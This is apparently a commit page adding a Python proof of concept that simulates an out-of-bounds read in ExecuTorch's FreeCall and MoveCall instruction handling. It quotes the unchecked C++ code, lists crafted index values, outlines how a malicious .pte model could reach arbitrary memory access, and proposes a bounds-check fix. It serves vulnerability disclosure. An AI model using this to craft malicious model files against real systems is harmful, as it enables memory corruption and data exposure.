0xiviel commited on
Commit
0dcc89f
·
verified ·
1 Parent(s): d111b6b

PoC: ExecuTorch FreeCall value_index OOB access (CWE-129 -> CWE-125)

Browse files
Files changed (1) hide show
  1. poc_F3_freecall_oob.py +329 -0
poc_F3_freecall_oob.py ADDED
@@ -0,0 +1,329 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ ExecuTorch FreeCall value_index Out-of-Bounds Access (CWE-129 -> CWE-125)
4
+ =========================================================================
5
+
6
+ Target: ExecuTorch (pytorch/executorch)
7
+ Commit: 90e6e4ca4ef369ce4288ffcd2a0210d5137117dd
8
+
9
+ Affected File:
10
+ - runtime/executor/method.cpp:1478
11
+ https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/method.cpp#L1478
12
+
13
+ Init-time validation gap:
14
+ - runtime/executor/method.cpp:1029-1034 (JumpFalseCall validated, FreeCall skipped)
15
+ https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/method.cpp#L1029-L1034
16
+
17
+ CWE-129: Improper Validation of Array Index
18
+ CWE-125: Out-of-bounds Read
19
+
20
+ Description:
21
+ In ExecuTorch's instruction execution loop, the FreeCall instruction handler
22
+ at method.cpp:1478 accesses `values_[free_call->value_index()]` without any
23
+ bounds check against the values_ array size.
24
+
25
+ During init (method.cpp:1018-1060), the instruction validation switch statement
26
+ has explicit bounds checking for JumpFalseCall's value_index (lines 1029-1034)
27
+ but the default:{} case allows FreeCall and MoveCall instructions through
28
+ WITHOUT validating their value_index fields.
29
+
30
+ A malicious .pte model can set free_call->value_index() to any uint32 value,
31
+ including values far beyond the values_ array bounds, causing an OOB read
32
+ when the instruction is executed.
33
+
34
+ Impact:
35
+ Out-of-bounds read on the values_ array. The accessed memory is then
36
+ interpreted as an EValue and .toTensor() is called on it, which can:
37
+ 1. Read sensitive data from adjacent memory
38
+ 2. Cause a crash via invalid memory access
39
+ 3. Potentially achieve code execution if the OOB memory is interpreted
40
+ as a Tensor with attacker-controlled data pointer
41
+ """
42
+
43
+ import struct
44
+ import sys
45
+
46
+
47
+ def simulate_init_validation(instructions: list, num_values: int) -> list:
48
+ """
49
+ Simulates the init-time instruction validation in method.cpp:1018-1060.
50
+
51
+ The switch statement validates:
52
+ - KernelCall: checks op_index bounds
53
+ - DelegateCall: checks delegate_index bounds
54
+ - JumpFalseCall: checks value_index bounds (line 1029-1034)
55
+ - default: {} — NO VALIDATION for FreeCall, MoveCall
56
+
57
+ Returns list of (instruction, validated: bool, passed: bool) tuples.
58
+ """
59
+ results = []
60
+ for instr_type, fields in instructions:
61
+ if instr_type == "KernelCall":
62
+ # Validated: checks op_index
63
+ validated = True
64
+ passed = fields.get("op_index", 0) < fields.get("num_ops", 0)
65
+ results.append((instr_type, fields, validated, passed))
66
+
67
+ elif instr_type == "DelegateCall":
68
+ # Validated: checks delegate_index
69
+ validated = True
70
+ passed = fields.get("delegate_index", 0) < fields.get("num_delegates", 0)
71
+ results.append((instr_type, fields, validated, passed))
72
+
73
+ elif instr_type == "JumpFalseCall":
74
+ # Validated: checks value_index (line 1029-1034)
75
+ validated = True
76
+ value_idx = fields.get("value_index", 0)
77
+ passed = value_idx < num_values
78
+ results.append((instr_type, fields, validated, passed))
79
+
80
+ elif instr_type == "FreeCall":
81
+ # default:{} — NO VALIDATION
82
+ validated = False
83
+ passed = True # Always passes init — no check performed
84
+ results.append((instr_type, fields, validated, passed))
85
+
86
+ elif instr_type == "MoveCall":
87
+ # default:{} — NO VALIDATION
88
+ validated = False
89
+ passed = True # Always passes init — no check performed
90
+ results.append((instr_type, fields, validated, passed))
91
+
92
+ else:
93
+ validated = False
94
+ passed = True
95
+ results.append((instr_type, fields, validated, passed))
96
+
97
+ return results
98
+
99
+
100
+ def simulate_execution(instructions: list, num_values: int) -> list:
101
+ """
102
+ Simulates the execution-time behavior at method.cpp:1478.
103
+
104
+ For FreeCall:
105
+ auto* free_call = instruction->instr_args_as_FreeCall();
106
+ auto t = values_[free_call->value_index()].toTensor();
107
+ internal::reset_data_ptr(t);
108
+
109
+ No bounds check on value_index before array access.
110
+ """
111
+ results = []
112
+ for instr_type, fields in instructions:
113
+ if instr_type == "FreeCall":
114
+ value_idx = fields.get("value_index", 0)
115
+ in_bounds = value_idx < num_values
116
+ if not in_bounds:
117
+ oob_offset = (value_idx - num_values) * 48 # EValue is ~48 bytes
118
+ results.append({
119
+ "instruction": instr_type,
120
+ "value_index": value_idx,
121
+ "num_values": num_values,
122
+ "in_bounds": False,
123
+ "oob_bytes_past_array": oob_offset,
124
+ "action": f"OOB READ at values_[{value_idx}], "
125
+ f"{oob_offset} bytes past array end, "
126
+ f"then .toTensor() called on garbage memory"
127
+ })
128
+ else:
129
+ results.append({
130
+ "instruction": instr_type,
131
+ "value_index": value_idx,
132
+ "num_values": num_values,
133
+ "in_bounds": True,
134
+ "action": f"Normal access at values_[{value_idx}]"
135
+ })
136
+ elif instr_type == "MoveCall":
137
+ # MoveCall has same issue with move_from and move_to indices
138
+ move_from = fields.get("move_from", 0)
139
+ move_to = fields.get("move_to", 0)
140
+ from_ok = move_from < num_values
141
+ to_ok = move_to < num_values
142
+ results.append({
143
+ "instruction": instr_type,
144
+ "move_from": move_from,
145
+ "move_to": move_to,
146
+ "num_values": num_values,
147
+ "in_bounds": from_ok and to_ok,
148
+ "action": f"{'OOB' if not (from_ok and to_ok) else 'Normal'} "
149
+ f"move values_[{move_from}] -> values_[{move_to}]"
150
+ })
151
+ return results
152
+
153
+
154
+ def main():
155
+ print("=" * 78)
156
+ print("ExecuTorch FreeCall value_index OOB Access PoC")
157
+ print("CWE-129 (Improper Array Index Validation) -> CWE-125 (OOB Read)")
158
+ print("=" * 78)
159
+ print()
160
+
161
+ NUM_VALUES = 32 # Typical small model values_ array size
162
+
163
+ # -------------------------------------------------------------------------
164
+ # Show the init-time validation gap
165
+ # -------------------------------------------------------------------------
166
+ print("-" * 78)
167
+ print("PHASE 1: Init-Time Validation (method.cpp:1018-1060)")
168
+ print("-" * 78)
169
+ print()
170
+ print(" The init switch statement validates indices for some instructions")
171
+ print(" but the default:{} case skips FreeCall and MoveCall entirely.")
172
+ print()
173
+ print(" Relevant code (method.cpp:1018-1060):")
174
+ print()
175
+ print(" for (size_t i = 0; i < n_instructions; i++) {")
176
+ print(" auto instruction = instructions->GetAs<executorch_flatbuffer::Instruction>(i);")
177
+ print(" switch (instruction->instr_args_type()) {")
178
+ print(" case InstructionArguments::KernelCall: { /* validates op_index */ }")
179
+ print(" case InstructionArguments::DelegateCall: { /* validates delegate_index */ }")
180
+ print(" case InstructionArguments::JumpFalseCall: {")
181
+ print(" // Lines 1029-1034: VALIDATES value_index")
182
+ print(" auto jf = instruction->instr_args_as_JumpFalseCall();")
183
+ print(" ET_CHECK_OR_RETURN_ERROR(")
184
+ print(" jf->value_index() < n_value_, // <-- BOUNDS CHECK")
185
+ print(" ...);")
186
+ print(" }")
187
+ print(' default: {} // <-- FreeCall and MoveCall fall through HERE')
188
+ print(" }")
189
+ print(" }")
190
+ print()
191
+
192
+ instructions = [
193
+ ("JumpFalseCall", {"value_index": 0x7FFFFFFF}), # Will be caught
194
+ ("FreeCall", {"value_index": 0x7FFFFFFF}), # Will NOT be caught
195
+ ("FreeCall", {"value_index": 1000}), # Will NOT be caught
196
+ ("MoveCall", {"move_from": 0xFFFF, "move_to": 0}), # Will NOT be caught
197
+ ("JumpFalseCall", {"value_index": 5}), # Legitimate, passes
198
+ ("FreeCall", {"value_index": 5}), # Legitimate, passes
199
+ ]
200
+
201
+ init_results = simulate_init_validation(instructions, NUM_VALUES)
202
+
203
+ print(f" Simulating init with num_values = {NUM_VALUES}:")
204
+ print()
205
+ for instr_type, fields, validated, passed in init_results:
206
+ if instr_type == "FreeCall":
207
+ idx = fields["value_index"]
208
+ tag = "VALIDATED" if validated else "SKIPPED (default:{})"
209
+ result = "PASS" if passed else "REJECTED"
210
+ oob = " [OOB!]" if idx >= NUM_VALUES else ""
211
+ print(f" {instr_type:20s} value_index={idx:<12d} init_check={tag:30s} result={result}{oob}")
212
+ elif instr_type == "MoveCall":
213
+ mf = fields["move_from"]
214
+ mt = fields["move_to"]
215
+ tag = "VALIDATED" if validated else "SKIPPED (default:{})"
216
+ result = "PASS" if passed else "REJECTED"
217
+ oob = " [OOB!]" if mf >= NUM_VALUES or mt >= NUM_VALUES else ""
218
+ print(f" {instr_type:20s} move_from={mf:<6d} move_to={mt:<6d} init_check={tag:30s} result={result}{oob}")
219
+ elif instr_type == "JumpFalseCall":
220
+ idx = fields["value_index"]
221
+ tag = "VALIDATED" if validated else "SKIPPED"
222
+ result = "PASS" if passed else "REJECTED"
223
+ oob = " [OOB but caught!]" if idx >= NUM_VALUES and not passed else ""
224
+ print(f" {instr_type:20s} value_index={idx:<12d} init_check={tag:30s} result={result}{oob}")
225
+ print()
226
+
227
+ # -------------------------------------------------------------------------
228
+ # Show the execution-time OOB access
229
+ # -------------------------------------------------------------------------
230
+ print("-" * 78)
231
+ print("PHASE 2: Execution-Time Access (method.cpp:1478)")
232
+ print("-" * 78)
233
+ print()
234
+ print(" Vulnerable code (method.cpp:1478):")
235
+ print()
236
+ print(" case InstructionArguments::FreeCall: {")
237
+ print(" auto* free_call = instruction->instr_args_as_FreeCall();")
238
+ print(" // NO BOUNDS CHECK on value_index!")
239
+ print(" auto t = values_[free_call->value_index()].toTensor();")
240
+ print(" internal::reset_data_ptr(t);")
241
+ print(" break;")
242
+ print(" }")
243
+ print()
244
+
245
+ # Only FreeCall and MoveCall instructions that passed init
246
+ exec_instructions = [
247
+ (itype, fields) for itype, fields, validated, passed
248
+ in init_results if passed and itype in ("FreeCall", "MoveCall")
249
+ ]
250
+
251
+ exec_results = simulate_execution(exec_instructions, NUM_VALUES)
252
+
253
+ print(f" Simulating execution (only instructions that passed init):")
254
+ print()
255
+ for result in exec_results:
256
+ if result["instruction"] == "FreeCall":
257
+ status = "IN-BOUNDS" if result["in_bounds"] else ">>> OOB ACCESS <<<"
258
+ print(f" FreeCall value_index={result['value_index']}")
259
+ print(f" Status: {status}")
260
+ print(f" Action: {result['action']}")
261
+ if not result["in_bounds"]:
262
+ print(f" OOB distance: {result['oob_bytes_past_array']} bytes past values_ array")
263
+ print()
264
+ elif result["instruction"] == "MoveCall":
265
+ status = "IN-BOUNDS" if result["in_bounds"] else ">>> OOB ACCESS <<<"
266
+ print(f" MoveCall move_from={result['move_from']} move_to={result['move_to']}")
267
+ print(f" Status: {status}")
268
+ print(f" Action: {result['action']}")
269
+ print()
270
+
271
+ # -------------------------------------------------------------------------
272
+ # Concrete exploit scenario
273
+ # -------------------------------------------------------------------------
274
+ print("-" * 78)
275
+ print("EXPLOIT SCENARIO: Crafted .pte Model")
276
+ print("-" * 78)
277
+ print()
278
+ print(" A malicious .pte file contains a FreeCall instruction with:")
279
+ print(f" value_index = 0x7FFFFFFF (2147483647)")
280
+ print()
281
+ print(f" The model has {NUM_VALUES} values in the values_ array.")
282
+ print()
283
+ print(" 1. Init phase: FreeCall falls into default:{{}}, no validation")
284
+ print(" 2. Execution: values_[2147483647].toTensor() is called")
285
+ print()
286
+
287
+ # Calculate memory impact
288
+ evalue_size = 48 # sizeof(EValue) is approximately 48 bytes
289
+ oob_index = 0x7FFFFFFF
290
+ oob_bytes = (oob_index - NUM_VALUES) * evalue_size
291
+ print(f" Memory layout:")
292
+ print(f" values_ array: {NUM_VALUES} entries x {evalue_size} bytes = {NUM_VALUES * evalue_size} bytes")
293
+ print(f" OOB access at index {oob_index}:")
294
+ print(f" Offset from array start: {oob_index} x {evalue_size} = {oob_index * evalue_size:,} bytes (~{oob_index * evalue_size / (1024**3):.1f} GB)")
295
+ print(f" Bytes past array end: {oob_bytes:,} bytes (~{oob_bytes / (1024**3):.1f} GB)")
296
+ print()
297
+ print(" The accessed memory is then interpreted as an EValue struct,")
298
+ print(" and .toTensor() is called on it. If the OOB memory happens to")
299
+ print(" contain a valid-looking EValue with Tag::Tensor, the code will")
300
+ print(" dereference a Tensor object with potentially attacker-controlled")
301
+ print(" data_ptr, leading to arbitrary memory read/write.")
302
+ print()
303
+
304
+ # -------------------------------------------------------------------------
305
+ # Summary
306
+ # -------------------------------------------------------------------------
307
+ print("=" * 78)
308
+ print("SUMMARY")
309
+ print("=" * 78)
310
+ print()
311
+ print(" Vulnerability: FreeCall and MoveCall instructions skip init-time")
312
+ print(" bounds validation due to falling into the default:{} case of the")
313
+ print(" instruction validation switch (method.cpp:1018-1060).")
314
+ print()
315
+ print(" At execution time (method.cpp:1478), values_[value_index] is")
316
+ print(" accessed without any bounds check, leading to OOB read.")
317
+ print()
318
+ print(" Fix: Add explicit bounds checking for FreeCall.value_index and")
319
+ print(" MoveCall.move_from/move_to in the init validation switch,")
320
+ print(" similar to the existing JumpFalseCall validation at line 1029.")
321
+ print()
322
+ print(" Attack vector: Malicious .pte model file with crafted FlatBuffer")
323
+ print(" containing FreeCall instructions with out-of-bounds value_index.")
324
+
325
+ return 1
326
+
327
+
328
+ if __name__ == "__main__":
329
+ sys.exit(main())